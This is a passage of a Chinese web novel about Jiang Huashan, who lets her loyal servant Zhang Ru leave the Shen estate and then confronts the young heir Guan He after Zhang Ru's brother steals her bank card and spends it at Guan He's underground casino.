张茹不敢怠慢,端着瓷碗上前打招呼。 沈执往绣楼看了一眼,“姜小姐的脖子怎么样了?” 这几天姜花衫该吃吃该睡睡,也没再说痒,张茹想着没事,便笑着应道,“孟医生开了药,没什么事。” 沈执点头,神色严肃了几分,“既然如此,你跟我走一趟吧。” 张茹察觉到了沈执脸色不对,不免有些紧张,“沈管家,出什么事了?” 沈执不欲多说,“先不要惊动姜小姐,等有结果再说。” 张茹不敢再问,盯着手里的绿豆冰,“您稍等。”说着转身上了绣楼。 姜花衫已经听见了楼下的动静,张茹推门进来的时候,她低头理了理头发,装出一副认真涂药的样子。 “小姐,我跟沈管家出去一趟,等我回来再推您出去转转。” 姜花衫嗯了一声,张茹放下手里的绿豆冰转头出了房间。 房门落锁的声音传来,姜花衫立马停止了手上的动作,单手拿起桌上的绷带。 下午,张茹没有回来,沈执再次登门,说是老爷子请她去前厅叙话,因着姜花衫行动不便,沈执特意留在菊园帮衬。 两人刚出院门,便与沈兰晞撞了个正着。 沈兰晞目光在姜花衫的脖颈处停留了片刻,才正眼看向沈执,“去沁园?” 沈执恭敬垂首,“是。” 沈兰晞往前走了一步,很是自然走到姜花衫身侧,“我正好有事找爷爷,一起去吧。” 姜花衫懒洋洋靠着轮椅,“嗯。” 沈执敛着眸光,点了点头,继续推动轮椅。 沁园一如往常,沈庄正在花厅乘凉,远远瞧见沈兰晞和姜花衫,拄着拐杖起身,“兰晞也来了?” 沈兰晞,“爷爷。” 沈庄点着身侧的圈椅,“坐。” 沈兰晞入座后,沈庄又朝姜花衫招手,沈执推着轮椅将她送到沈庄面前。 沈庄盯着她脖子,脸色严肃,“不是说不严重,怎么绑成这样?解开给爷爷看看。” 姜花衫眼皮跳了跳,“爷爷!我刚上的药,解开药效就没有了。” 沈庄拧着眉头,“叫孟医生过来。” “诶诶!!”姜花衫摆摆手,赶紧解释,“爷爷,真的不严重,我是……我是怕被咬的地方黑色素沉淀,特意裹了一圈防晒。” 防晒? 沈庄虽然不懂小姑娘的心思,但表示尊重,点了点头,“没事就好。” 姜花衫呵呵笑了笑,“爷爷,您叫我来有什么事吗?” 沈庄琢磨了一会儿,慢慢道,“是这样的,爷爷打算给你院子重新换个管事,小张毕竟照顾了你这么多年,所以爷爷想问问你的意见?” 姜花衫脸上的笑容瞬间凝固,“为什么要突然换人,是张妈做错什么事了吗?” 沈庄表情凝重,目光思索,一时没有接话。 姜花衫转头看向沈执,“她中午是跟着沈管家你走的,你把她怎么了?” 沈执愣了愣,温声解释,“姜小姐,您误会了,我没把小张怎么?沈园有沈园的规矩,我不过按规矩办事。” “什么规矩?” 沈执抬眸看了沈庄一眼,见他脸色并无不妥,便继续道,“姜小姐,沈园是沈家根系所在,在这做事的人不管是家世还是手脚都必须干净,否则万一被人抓着什么把柄,沈家也会被牵连。” “先生因为议案一事已经与周家、乔家、关家撕破了脸,有人已经把手伸进了沈园。近来我们暗中调查,发现园里有不少人拿了好处贩卖沈园情报,为了消除后患,这些人必须清退。” 姜花衫一脸难以置信,“你是说,张妈收了别人的好处,背叛了沈家?” …… 第428章 放手 沈执略有些犹豫,摇了摇头。 “她没有,是她的家人。” “家人?”姜花衫紧紧抓着轮椅两侧,神情有些落寞。 沈执,“当初小张来沈园的时候年纪小,她家里情况不好,老爷子看她可怜便收留了。前几日,她家里的小侄女来沈园找人,我看那孩子浑身是伤就留了个心眼,结果找人查了才知道,小张的哥哥被人设了局,在外面欠了一屁股赌债打算卖女儿,那孩子是偷跑出来找小张帮忙的。” 沈兰晞看了姜花衫一眼,淡淡开口,“什么人设的局?” 沈执没想到沈兰晞会关心这种小事,连忙应声,“设赌局是地下钱庄人,这事已经让沈五爷去查了,应该很快就会有结果。” 沈庄轻轻拍了拍姜花衫的手,安慰道:“这五年小张照顾你也算尽心,她家里的事爷爷也已经让人去处理了,只不过,人是不能留了,爷爷会再给你安排尽心的人。” 姜花衫勉强笑了笑,“我知道了。” 沈家力压军制议案无异于与关家以及多方势力宣战,这个节骨眼,沈家决不能出一丁点差错。 恃宠而骄也要讲究尺寸,之前姜花衫都是踩着家族的红线,所以即便其他人有异议也抓不到她什么把柄? 但如果姜花衫明知张茹是个隐患还强行把人留下,就算沈庄同意,也一定会引起另外几房的不满。 看来,有人已经急不可待准备对她动手了。 沈庄十分欣慰,“等风头过了,若你执意要小张,爷爷再把她调回来。” 这对一位家主来说,已经是最大的退让了。 姜花衫点头,“爷爷,张妈什么时候走?” 沈庄,“宜早不宜迟,我已经让沈执已经安排了下山的车。” 姜花衫略有些不舍,“我想去送送她。” 沈庄思忖片刻,颔首看向沈执,沈执会意,推着姜花衫的轮椅,“姜小姐,我带您去。” 姜花衫朝沈庄摆摆手,神色忧伤出了花厅。 等人走后,一直沉默的沈兰晞忽然出声,“爷爷,张茹……” “兰晞…”沈庄抬手,眼神晦涩,“这件事爷爷心里有数。” 沈兰晞心窍一动,压下眉眼,端起茶案的瓷盏低头喝茶。 * 这次沈园大排查,园丁加帮佣一共清退了二十几人,为了给其他人树立威信,但凡证据确凿卖主求荣者,沈家都安排了‘好去处’。 由于张茹的情况特殊,沈执查明后便将她安排在偏院的休息间。 沈执推着姜花衫进屋的时候,张茹正趴在方几上写字,她以为是有人来催促出园,头都不敢抬,奋笔疾书。 “麻烦稍等片刻,我还有几条就写完了。” “张妈。” 姜花衫喊了一声,张茹神情微怔,被吓了一跳猛然回头,在看见姜花衫的瞬间,眼眶就红了。 “姜小姐,我……我……” 姜花衫回头看向沈执,沈执轻叹了一声,“我先去外面等。” 房门掩上后,姜花衫推着轮椅走向张茹。 “写什么呢?” 张茹笑了笑,拿手盖着桌面,“没什么。” 姜花衫顺手从缝隙里抽出一张便签纸。 -【姜小姐的作息习惯】 -【姜小姐的饮食喜好】 -【姜小姐不喜欢的事】 姜花衫低眸不语。 张茹看出她心里难受,笑着安慰,“是我给沈家添麻烦了,原本还想着等您身体好些了再跟您坦白,姜小姐不会生我的气吧?” 姜花衫摇了摇头,从腰间的衣袋里拿出一张银行卡递给她。 “我不知道原来你家里还有那么多糟心的事,这笔钱你拿着,以你的手艺,随便开家小食馆,应该就够自足自乐了。” 她曾问过张茹想去哪,她却说哪都不想去,人怎么会没有依恋的地方,她早该想到,张茹是有家不能回。 “钱你自己用,要是你的兄弟敢对你不好,回来找我。” 张茹瞬时眼底湿润,将卡推了回去,“您这是做什么?!老爷子已经给的够多了,我怎么能再拿您的?况且,老爷子已经答应我了,等风头过了,我还可以回来,我用不着这么多钱。” “拿着吧。”姜花衫十分固执塞进她的手里。 张茹心里五味杂陈,相伴五载,她对姜花衫的感情已经不是简单的雇佣关系,突然分别,她心里也不好受,但万幸老爷子答应过,她还能回来。 未免姜花衫太伤心,张茹故作轻松笑了笑,“我先替小姐收着,等回来再还给小姐。” 姜花衫点了点头。 “沈管家。” 沈执推门走了进来。 张茹低头抹了抹眼泪,“小姐,我先走了,您记得按时吃饭,按时吃药,多走动别贪懒,这样才好的快。” “知道了。” 张茹还想再说,见姜花衫情绪淡淡,最后什么都没说,极为不舍摸了摸她的头便跟着沈执出了房间。 姜花衫侧头看向张茹离去的背影,释然一笑。 这个世界里的所有人都被自己的故事线牵绊,走不出更广袤的天地。如果张茹一直跟在她身边,她的世界只会拘泥于厨房和菊园。 上一世,张茹从二十八到三十八岁都一直陪着她,她是这个故事里唯一对姜花衫不离不弃的人。 而姜花衫从回来就想过要回报她,但迟迟没有机会,直到她开始怀疑沈执。 那天沈家众人在主厅议事,她故意拉着张茹留在身边,就是要让所有人看出她对张茹的依赖。若是真有人要对她动手,一定会从她身边最信任的人开始瓦解。 所以,谁对张茹出手,谁就是最值得怀疑的内鬼。 姜花衫原本就有放张茹走的想法,沈园太危险了,一直待在她身边,张茹迟早有天会被人盯上,所以她干脆将计就计送张茹一场自由,也好全了两世相伴之情。 张茹走后,“他们”一定会安插自己的人继续监视她,而这正好随了姜花衫的意。 只不过她还是太高估了自己,张茹的背影彻底消失在眼前,姜花衫转头看向桌上密密麻麻的备忘录,眼眶渐渐湿润。 …… 第429章 开始排查 下午,沈执就带了一批模样整齐的阿姨去了菊园,他还没傻到直接指定谁为管事,只交代这些都是在沈园多年的老人,请姜花衫自己挑选合眼缘的。 姜花衫因为张茹的事情绪不高,随意点了几个,“就她们四个吧,到时候不满意再换。” 说这话时,她表情甚是傲慢,四个阿姨相互看了看,便知是不好相与的主,低着头不敢表露心迹。 沈执例行公事,耳听面命交代了一番,姜花衫顺势把张茹留下的备忘录分给几人,抱着小可怜回了房间。 晚间,傅绥尔和沈眠枝不约而至。 两人坐在姜花衫的床前,脸色不太好看。 傅绥尔,“衫衫,你没事吧?要是实在舍不得张姨不如再跟爷爷求求情?爷爷疼你,一定会答应的。” 姜花衫摇了摇头,“不必了,天下无不散之筵席,人和人总是要分开的。” 傅绥尔心头一酸,“你别这么说,我就不想我们分开。” 姜花衫原本只是感叹人和人之间的际遇,没料到傅绥尔忽然说到自己身上,低声笑了笑。 沈眠枝不如傅绥尔感性,犹豫片刻轻声问道,“衫衫,张姨是你故意放走的吧?” 姜花衫眼里的笑瞬间凝固。 傅绥尔见姜花衫的反应便知沈眠枝猜中实情,略有些不解,“还真是?为什么啊?” 她看的出来,姜花衫很信任张茹,这种信赖甚至不亚于她们之中任何一个人。 沈眠枝,“你想反击?” 姜花衫沉默片刻,抿嘴笑了笑,“你怎么猜到的?很明显吗?” 沈眠枝想了想,摇头,“我只是觉得以你性格不可能任由身边的人受委屈,只要你愿意,你能有很多种方式留下张姨,所以……我猜你大概是不想留。” 姜花衫哂笑,不是不想,是觉得不应该。 这个世界,在所有人的视角里,张茹不过是照顾她饮食起居的工具人,但在她的故事线里,张茹是唯一一个在她被赶出沈园后,收拾包袱跟她去小沈园的人。 也是这个世界上,除了爷爷之外唯一一个坚定选择她的人。 张茹从不在乎她恶不恶毒、是不是坏人,她只关心她有没有生病,有没有吃饱,就像一个围着她转的NPC,她的世界最大的事就是姜花衫。 所以这一世,她不希望张茹继续过那样的生活。 既然所有人都可以觉醒,那张茹也应该觉醒。 但这些,她都不能说。 沈眠枝看出了姜花衫有隐瞒,轻轻拍了拍她的手背,“不说这些了,说些高兴的事?” 姜花衫挑眉,“什么事?” 沈眠枝歪头看向傅绥尔,傅绥尔会意,咧嘴一笑,“还记得我让爷爷给我报名青年杯吗?我的选题已经出来了,这次和我打擂台的是余笙。” 姜花衫,“她可不是个简单的对手,什么辩题?” 傅绥尔,“【在当代社会,女性突破职场天花板的关键在于自我突破还是制度革新?】” 姜花衫皱眉,“这么敏感的话题?” 眼下国会两方因为军制改革一事僵持不下,这个辩题乍看是以女性力量为切入点,实则与国会提案相呼应,加之青年杯的社会关注度颇高,民众很容易反推 偏偏这个论题还是沈家千金和总统千金对博,怎么看都不像是凑巧。 傅绥尔对于政治时局的敏感远胜于在座两人,她早看破了其中的利害关系,胸有成竹,“上午抽签,我是正方,余笙是反方。等着看吧,我一定为沈家赢回这一局。” 从议题来看,反方的辩论点胜算更大,尤其对手还是余笙。不过,既然傅绥尔表现的这么自信,想来应该是已经想好的应对的方法。 如果傅绥尔能在这次的辩论压过余笙,对沈家力压军制的助力不小,更重要的是,沈家所有人都将看到傅绥尔对家族的的贡献。 女孩儿也能现在政治舞台角逐,这的确算是一个好消息。 姜花衫转头看向沈眠枝,“你呢,当了分堂主有什么体会?” 沈眠枝,“还算顺利。” 她接管的是教会最多的西林暗堂,里面鱼龙混杂,原本沈让还担心她不能胜任,但沈眠枝上任第一天直接大洗牌,手段老辣清除了几个暗堂毒瘤,又恩威并重提拔了几个新人,现在不仅仅是沈让,就连沈庄都对她刮目相看。 得知沈眠枝已经完全掌管了分堂,姜花衫心里的萧瑟散了几分,如今沈归灵和沈兰晞也提前两年入仕,照这样下去,沈家三代很快就能撑起沈家的家业。 到时候,就算她违背族训对内鬼们动手,也不至于祸累沈家。 姜花衫思忖片刻,又道:“枝枝,沈执说,张茹的哥哥被人设局欠了一屁股赌债,你帮我查查到底是谁设的局?” 沈眠枝,“衫衫,这件事我爸爸在查。” “我知道。但……我信不过他。” 沈眠枝表情微妙,却并没有动怒。 傅绥尔看了看两人,拉了拉姜花的手。 姜花衫毫不避讳,直言,“枝枝,你曾经提醒过我,或许‘他们’是一个联盟,我信你,但不代表我信五叔。山庄那晚,他们想要我的命,所以我不得不谨慎。” 沈眠枝眼角微微下垂,“我爸爸不会的。” 姜花衫不语,如果沈园里都是鬼,她实在很难相信沈让是无辜的。 沈眠枝心情复杂,“你怀疑我爸爸,却相信我?” 姜花衫,“因为你说过,以后我们知己。所以你是你,你爸爸是你爸爸。” 沈眠枝缓缓垂眸,神情冷凝,挣扎片刻后她抬起头,目光坚定,“好,我查!我要亲自证明,即使他们所有人都有黑的,我爸爸也是这深渊里唯一的白。” 她永远记得自己身负绝望时,她的超级英雄从天而降,同样,她也永远不会忘记,有人将她拽出深渊,说她是万里挑一。 这两份情都是助她扫荡阴霾的光,她不能负。 所以,真相是什么,她要亲自去验证。 …… 第430章 被欺负 菊园换了新人,院子里也有了新的气象。 以前张茹整日都在厨房里忙碌,院里的花草都是野蛮生长,新来的四人倒是比张茹讲究,不仅将园子里的大小事物打理得井井有条,就连花园的草花都修剪得漂漂亮亮,甚至每天还会用不重样的花瓶插花送去给姜花衫欣赏。 四人面上十分和睦,姜花衫一时也看不出到底谁有心思。 为了绕道去新兵营给周绮姗送行李,沈兰晞提前了两天出发。 临行前,高止曾劝沈兰晞去菊园道个别,但被沈兰晞高冷拒绝了。 兰园一空,偌大的后院完全安静了下来。 之后的几天,大家开始忙碌起来。 傅绥尔积极备战辩论会,沈眠枝暗地调查背后设局之人,姜花衫安安心心躺在床上养病。 * 张茹从沈园出来后,心里总惦记着自己还要回去,便在环山高架附近租了一套两居室。 以前,她的生活都是围着姜花衫转,忙得跟陀螺一样,现在突然闲下来,张茹只觉浑身不得劲。, 为了充实自己,她学会了上网,还跟着网上的教程学习了许多淮城当地小吃。 这一改变好似打开了张茹新世界的大门,她每天乐此不疲收集各种关于淮城的美食。 这样安逸的日子持续了一个星期,直到几个不速之客找上门。 张庚带着一家老小,推着四五个行李箱,登堂入室。 “小茹啊,不是说你现在都发达了吗?怎么改住这么破的房子?” 张茹皱了皱眉,还没说话,赵秀兰立马探头往房间看去,“就两个房间,我们怎么住啊?” 一个虎头大耳的男孩打开两个房间看了看,指着稍大一点的主卧,一点不客气,“我要这个房间。” 唯有一个十六岁的女孩儿朝张茹胆怯笑了笑,“姑姑。” 张茹一天的好心情全都败在了此刻。 她与张庚虽然是同父同母的亲兄妹,但两人的感情并不好,张庚大她十二岁,为人自私刻薄,再加之父母重男轻女,从张茹记事开始就一直被压迫。 十六岁那年,父母为了给张庚还清外面的赌债,把她卖给了当地流氓,后来她拼死反抗碰上了沈家暗堂,这才被沈让带回了沈园。 因为沈家收留,才免了她余生颠簸之苦。 张茹原以为自己这辈子和张庚都不会再有瓜葛,谁知这奸货竟然带着一家老小来了鲸港。 那日在沈园见过侄女后,她就隐隐感觉到了不妙,亏她还天真以为他们顶多讹些钱财就走,没想到张庚竟然被人下套,连累她被沈园辞退。 新仇旧恨,就算是菩萨,心火也难消。 张茹脸色不愉,“这里是我家,你们赶紧给我滚出去!不然,我就报警了!” 张庚顿时沉下脸,赵秀兰嘴角僵硬,一把拉住张庚偷偷递了个眼神。 虎头小孩儿却像个混霸王,拿起手里的弹珠对着张茹砸了过去。 赵秀兰愣了愣,装模做样对着小孩儿的屁股拍了两巴掌。 “讨债鬼!你怎么能动手打姑姑呢?” 男孩儿不服气,大喊大闹,“我就打她,谁叫她赶我们走?爸爸说了,张家的东西都是我的,这老姑婆的钱以后也都是我的。” “给老子闭嘴。”张庚生怕小孩子口无遮拦说了什么,抬手抽了男孩一巴掌。 男孩儿嚎啕大哭,被一旁的赵秀兰拽了回去。 张庚轻哼了一句,“小孩子不懂事,你别跟他计较。小茹,我可听别人说了,你现在跟着贵人办事,手头富裕的紧,咱们毕竟是一家人,现在你哥有难处,你帮衬帮衬不是应该的吗?” 张茹转身拉开房门,口吻坚定,“出去。” 张庚见她油盐不进,直接暴露本性,翘着二郎腿往沙发一坐,“怎么?得了富贵就忘了自己姓什么了?我告诉你,我既然来了这富贵地,就没有空手回去的道理。” 张茹早知这饿狼的秉性,不欲与他多说,直接拿出手机。 赵秀兰见状立马拉着她,“小茹,你别理他,你哥这人就是嘴硬心软,你离家多年,他没有一天不念叨你的。” 张茹冷冷推开赵秀兰,当初家里想用她抵债正是赵秀兰出的主意。 “别再浪费口舌了,你们一个个都是白眼狼。” 赵秀兰脸色瞬间沉了下来,冷哼了一声,“听见没?人家拿我们当贼呢。” 张庚顿时被激怒,拍着大腿起身,“行!要赶我们走,给钱!” “我没钱。” “没钱?” 张庚抬头朝赵秀兰使了个脸色,赵秀兰二话不说开始在家里翻箱倒柜。 “你做什么?” 张茹上前阻止却被张庚推了回去,赵秀兰把电视抽屉都拉了出来,没搜出什么值钱的,转头指着角落的女孩骂道,“你是死人吗?还不帮忙!又想被卖了是不是?” 葡萄小心看了张茹一眼,低着头往卧室走去,胖头男孩捂着脸,狠狠瞪了张茹一眼,跟着溜进了房间。 “你们!你们!”张茹气的手直发抖,直接报警。 岂料张庚丧心病狂,直接上手抢过手机砸的稀烂。 “要你报警!” 为了警告张茹,他甚至动手推她了一把。 “爸!妈!我找到了!” 胖头男孩粗短的手里拿着一张银行卡,得意洋洋向父母炫耀自己的战绩。 张茹被推倒在地,见男孩手里拿着姜花衫让她保管的银行卡,顿时神色大变,顾不得腰间的扭伤,起身冲向男孩儿。 赵秀兰见状,心知是大漏,立马上前抢过男孩儿手里的银行卡死死攥在手心里。 张茹疾言厉色,“那不是你能碰的,还给我!” “起开。”张庚一把推开张茹,从赵秀兰手里拿过银行卡,眯着嗅了嗅银行卡,眼里带了几分笑意,“这不是有钱吗?早拿出来不是挺好?省的伤和气。” 张茹起身想去抢,但张庚比她壮硕,再加上还有赵秀兰在旁边拉扯,她根本不是对手,最后只能眼睁睁看着他们大摇大摆走出房间。 …… 第431章 找场子 【叮咚】 【您尾号3333的银行卡于20XX-07-15 14:25完成POS消费,金额人民币100000.00元,当前账户可用余额为9900000.00元。如有疑问请致电客服955XX,切勿泄露短信验证码!】 姜花衫拿起手机看了一眼,直接把短信复制私信沈眠枝,顺便拨通了电话。 “枝枝,帮我查一下,这张卡的消费记录地址在哪?” 说话的功夫,手机屏幕又跳了一条短信提醒。 这次直接刷了一百万。 姜花衫眼皮都没抬,“找人去看看张茹,然后给我电话。” 相伴两世,张茹的性格她再清楚不过,除非饿死否则她绝不会动那张银行卡的钱,现在直接被盗刷了一百一十万,可见是遇上了麻烦。张茹因为家里的原因被辞退,所以如果是家庭矛盾,她为了能再次回到沈园一定不会回来找她帮忙,她正是知道这点,才给了张茹一张银行卡。 只是没想到,这么快就派上了用场。 五分钟后,沈眠枝打来了电话,简明扼要讲述了张庚带着一家大小上门抢钱的经过。 “张姨已经报警,现在在医院处理伤情,我问过门诊医生了,没什么大碍,只是扭伤了腰,休息几天就没事了。” 姜花衫神情淡淡,“那张卡有密码,正规渠道是刷不出来的,张庚初来乍到,找的什么路子?” “地下钱庄。他去了是地字号赌庄,之前他被人设套,就是在地下钱庄的玄字号。” “地下钱庄?”一听就是见不得光的东西。 沈眠枝这几天也查到了不少线索,索性一并理清,“傅家倒台后,棚户区的那些赌档转移到了地下,新老板是个有头脑的,将赌庄分为了天地玄黄四个档次,玄黄字号接待的都是散客,玩的也是寻常赌场的项目,地字号就不同,需要验资,通过后才能去高级会场,据说里面赌的东西五花八门。天地号就更稀缺了,光有钱还不行,还等有入场券,天字号每个月只开三天,时间不定,以邀请函为准。” 姜花衫皱了皱眉,若有所思看着不断跳出的刷卡信息。 沈眠枝看不见她的表情,见她不接话又继续道,“给张庚设局的是同乡的邻居,他说自己在赌坊无意间听说说张茹现在混的好,恰巧他欠了一屁股赌债,便想着拉拢张庚来鲸港一起敲诈张姨,为了让张庚配合,他还故意借钱给张庚带他去地下钱庄赌博。” “那个邻居我也查过了,他平时就在一家高档小区当保安,那个小区正好是二伯名下一家房地产投资的产业。不过,这个指向太刻意了,我一时拿不准。” 姜花衫指尖点了点手机屏幕,“这个以后再理,先把眼前的麻烦处理掉。” 沈眠枝当即明白了她的意思,“你想替张姨出气?这好办,我立马安排。” “枝枝。”姜花衫打断她 ,“我有另外一件事想拜托你。” * 登立跑马场。 周宴珩骑马转了几圈便觉得无趣,还没跑到终点便翻身下马,会场的服务人员立马上前接过麻绳。周宴珩取下头盔,回了休息室。 偌大的玻璃厅里。 白蒂娜和S国一群贵族交换坐在一块三米长的液晶显示屏前,疯狂给四个奴隶加码,直到电子屏幕显示WIN,金额dOUble,所有人一起欢呼尖叫。 一旁的的乔金锦习以为常,他对赌局不感兴趣,拿着关鹤的望远镜俯视整个马场。 顾玉珠与白蒂娜合不来,一个人端着香槟操作屏幕。 少顷,周宴珩推门走了进来。 “阿珩!”白蒂娜立马丢下众人,毫不避讳抱着周宴珩的胳膊,“什么时候上新奴隶啊,这游戏可太好玩了。” 周宴珩刚从室外回来,燥热还没散去,淡淡抽回胳膊接过顾玉珠递来的水,抬头看向乔金锦,“关鹤呢?” 白蒂娜撇了撇嘴,这要是放在以前,她掀桌子了。但偏偏周宴珩有办法治她,每天又各种刺激腺上素的游戏不说,连偶尔的调情都像坐过山车一样刺激,白蒂娜热衷于还从没遇见过这么有趣的人,一时稀罕的紧。 乔金锦看了看时间,“他说出去接个电话。” 周宴珩,“怎么了?” 乔金瑾脸色透着几分古怪,“已经过了半个小时了。” 正说着,马场经理手忙脚乱的冲进休息室,“周少爷,不好了!出事了!有人上门找麻烦,把关少爷给打了!” 众人霎时变了脸色。 周宴珩神色淡然,“说清楚,谁打了谁?” 经理抹了抹额头冷汗,双脚打颤,“关少爷被打了,那些人凶神恶煞,进来就砸东西,周少爷您快去看看吧,不然关少爷就要被他们打死了。” 周宴珩原以为是经理嘴瓢说反了人称,没想到还真有人不怕死,低头喝了一口水,笑了笑,“走,看看去。” 马场旁边有块公共草坪,此时偌大的草坪上乌泱泱站满了黑色暴徒,阳光暴晒,人群中央撑了两把小花伞。 一群人赶到时,关鹤嘴里贴了胶带,双手反剪扣在背后跪在阳光之下,周宴珩和乔金瑾登时变了脸色,待看清人群中央那张脸后,两人神情各异。 姜花衫早就注意到了那群人,单手支颐,一副无精打采的样子,“谁让你们停手的?给我继续打~” 关鹤原本狠狠瞪着姜花衫,待看见周宴珩,顿时眼眶暴血,伸着脖子想起身。郑松面不改色,一脚踹向他的膝盖骨,关鹤疼的脖子上的青筋都爆出来了,回头对着郑松撞去。 郑松举手捏住他的颅顶,屈膝顶向鼻头。 “嗯啊!” 关鹤疼的浑身抽搐,全身瘫软在地。 这一幕给所有人带了不小的震撼。 关鹤可不是普通人,他是背后可是关氏家族,关家把控着A国的财政大权,就连总统想推行某项政策都要先询问关家。 白蒂娜头一次看见有人跟她一样漂亮,还如此嚣张,不免有些好奇。 “她谁啊?胆子这么大。” 赫拉用S国母语回道,“这是他们鲸港的嫡公主,叫姜花衫。” …… 第432章 地下钱庄 她也是公主? A国又不是君主制,竟然也有公主? 白蒂娜不免起了攀比之心,但见姜花衫坐着的竟然是轮椅,立马摆出一副不屑一顾的表情,原来是个残疾。 顾玉珠默不作声躲在人群里,看着姜花衫的眼神带着细微的光,但因为忌惮周宴珩,她不敢表现得太明显。 两年前,乔金锦就已经见识过姜花衫的刁蛮,原以为长大后她会收敛一些,没想到愈发肆无忌惮了。 眼下,沈家因为军制议案正和几方势力对垒,为了不被人抓住把柄,双方势力哪个不是耳提面命要求族中小辈在外面谨言慎行,她倒好,竟然带着人直接来马场打人?! 敢在这个节骨眼闹事,乔金锦不禁有些怀疑姜花衫的脑子都长给脸了。 他冷着脸走出人群,眼神带着压迫,“姜花衫,你带人闹事,又把关鹤打成这样?真以为沈家在鲸港可以只手摭天?” 姜花衫偏头,上下打量乔金锦,“这话该我问你们吧?你们是穷的揭不开锅了吗?连我的钱都敢抢?真以为自己可以只手遮天?” 抢钱? 乔金锦迟疑片刻,转头看向关鹤。 关鹤脸色阴郁,起身冲向姜花衫却被郑松反手勒住脖子,顿时,他脸色涨紫,一副喘不过气的样子。 姜花衫好心提醒,“你最好别动,你身后那个大块头可是我特意问爷爷借来的,傅家老爷爷知道吧?郑松一拳打掉过他的假牙。” 听见郑松的名字,连周宴珩都变了脸色。 虽然从曾交锋,但军政学府的学生没有人不知道郑松,他军政学府百人斩排名第一位人。 据说他天赋异禀、身负巨力,可以徒手捏碎人的颅骨。 郑松因战火毁容提前退役,后来不知为何就成了沈家老爷子的贴身保镖。他脸上的半面恶鬼刺青就是为了遮掩战火留下的痕迹。 有他坐镇,说明姜花衫并非擅自行动。 关鹤脸色微变,僵硬着脖子看向周宴珩。 周宴珩给了他一个稍安勿躁的眼神,神色淡然,“你说阿鹤抢了你的钱,这里面是不是有什么误会?” 姜花衫两指夹起提前准备好的账单丢向周宴珩,“三个小时刷了我五百万?你告诉我,有什么误会?” 信封砸在周宴珩的胸口掉落在地,乔金瑾皱了皱眉,正要上前,周宴珩抬手将人拦住,弯腰捡起草地上的信封。 白蒂娜眉头紧蹙,不由认真打量起姜花衫来。 周宴珩眼里看不出一丝情绪,撕开信封,抽出里面的账单看了一眼,眸色晦暗,又不动声色把账单塞了回去。 他再次打量起姜花衫,眼里多了几分笑意,“你的损失我会补上,把人放了吧?” 关鹤原本还指望周宴珩替他出口气,没想到周宴珩竟然还要赔钱,气的又开始嗷嗷大叫。 “好。”姜花衫不语,笑着给郑松使了个眼色,郑松立马松开挟制。 关鹤得自由,立马撕下嘴上的胶布,指着姜花衫大骂,“草你妈!姜花衫你算个什么玩意,敢动少爷,信不信老子找人弄死你?!” 周宴珩皱眉,“阿鹤。” “你别管。”关鹤一把推开周宴珩。 此刻他已经怒到了极点,原本好好地在外面接个电话,姜花衫带着人二话不说就把他打成这样,这口气不出,以后他还怎么在鲸港混? 关鹤一开口,姜花衫身后的保镖不约而同往前走了一步。 “怎么?你他妈吓唬谁?来啊!看今天是谁弄死谁?!” 关鹤丝毫不惧,掏出电话就要摇人。 “阿鹤。” 周宴珩黑着脸把人拉了回去,关鹤还想挣扎,周宴珩懒得废话,直接扣着他的头把人丢给了乔金锦。 “看住他。” 关鹤愣了愣,正要反抗,周宴珩冷冷看了他一眼。关鹤神色微动,突然反应过来,愤愤不平看向姜花衫。 周宴珩拦在两人面前,“人你也打了,要是还没消气,有什么要求可以尽管提。” 姜花衫,“谁刷了我的卡?要他立刻马上过来见我。” 周宴珩神情微动,目光拉远看向姜花衫身后的保镖团,“现在?” 姜花衫,“现在。” “好。”他转身指着马场会所顶层的玻璃盒子,“去上面等?” 姜花衫冷哼了一声,“郑松。” 郑松上前,接过保镖手里的花伞,像拎婴儿车一样,单手提起轮椅往会所方向走去。 一群人看着姜花衫嚣张的背影,气的牙痒痒,大家都一个圈子的,她怎么能把事做的这么绝? 但连周宴珩都忍了下来,其余人也不敢当出头鸟。 白蒂娜无所顾忌,双手抱胸走近周宴珩,“这种无脑的千金小姐最好调教了,需要我帮你处理吗?” 周宴珩低睨她,“你的德行分修完了?” 白蒂娜一时没反应过来,“你问这个做什么?” 周宴珩,“那你还不去给那群老东西端屎盆子?” “你!”白蒂娜原地炸毛,“周宴珩!” 周宴珩懒得搭理她,掉头就走。 “阿珩。” 关鹤顾不得身上的伤,紧随其后,乔金锦低头看了看时间,犹豫片刻跟了上去。 三人进了电梯,关鹤再也忍不住怒呛道,“周宴珩,我是你兄弟,你不挺我? 你他妈还供着她,你到底什么意思?” 周宴珩直接把信封扔在他脸上,“什么意思?我跟你说过多少遍了?找个技术过硬了,现在人家一查就把我们老窝查出来了,你问我什么意思?” 关鹤愣了愣,抽出信封里的账单,等看完里面的内容后脸色瞬间惨白。 “不会吧?她是怎么知道的?这钱转了二十多个账户才到我的名下,这都能查到?” 周宴珩冷笑,“我不供着她,这事要捅出来,你老子能放过你?” “你们俩到底在说什么?” 乔金锦看出关鹤不对劲,直接抢过他手里的账单。 “你还真拿了她五百万?你疯了?小疯子的钱也敢拿?” …… 第433章 赌徒 关鹤没心情解释,神色紧张,“阿珩,你说现在该怎么办?” 关鹤的反应有些反常,乔金锦又认真盯着手里的账单过了一遍。 “你…” 乔金锦一把揪住关鹤的衣襟,“你他妈洗黑钱?”说罢转头看向周宴珩,“这种事你也让他玩?脑子有病?” 于他们这样的家世,钱已经是最不重要的东西了,关鹤以后走的政途,前途一片光明,一旦沾染了上不了台面的东西被人抓住把柄,就不要想再往上走了。 这就是为什么,沈家权势滔天,沈让和沈澈却永远不可能光明正大站在顶峰的原因。 关鹤一把拽下乔金锦的手,脸色难看,“这事你也别怪阿珩,他劝过我,是我没忍住。” 乔金锦一脸晦气,“这赌场是谁的?” 关鹤看了周宴珩一眼,“天字一号是阿珩的游戏场,其余三个场子都是我的。” 当初傅家势力崩盘,周宴珩一眼就看中了棚户区的赌坊市场。但周宴珩对钱不感兴趣,他要的是乐趣,便让关鹤去找个靠谱的代理人合作,他们借权,代理人出面经营赌场。 周宴珩策划了一个系统的地下赌局,若是以计划执行,三年经营,年收入能达百亿。 这个利润直接把关鹤震惊了,于是他提出不要经理人,自己做庄。 周宴珩倒也无所谓,自己拿了天字号的场权,其余的都给了关鹤,包括赌场这两年的利润他也一分都没拿,直接进了关鹤的账户。 关鹤也知道这件事不能走漏半点风声,所以赌场资金基本都是走了二十多道程序才会流向他名下上百个子账户。 不仅如此,他甚至还特意养了一群专业人士监管这些子账户,一旦检测到有账号泄露风险,相关账号立马会被抹除一切信息。 原以为万无一失,没想到竟然被姜花衫找上门了。 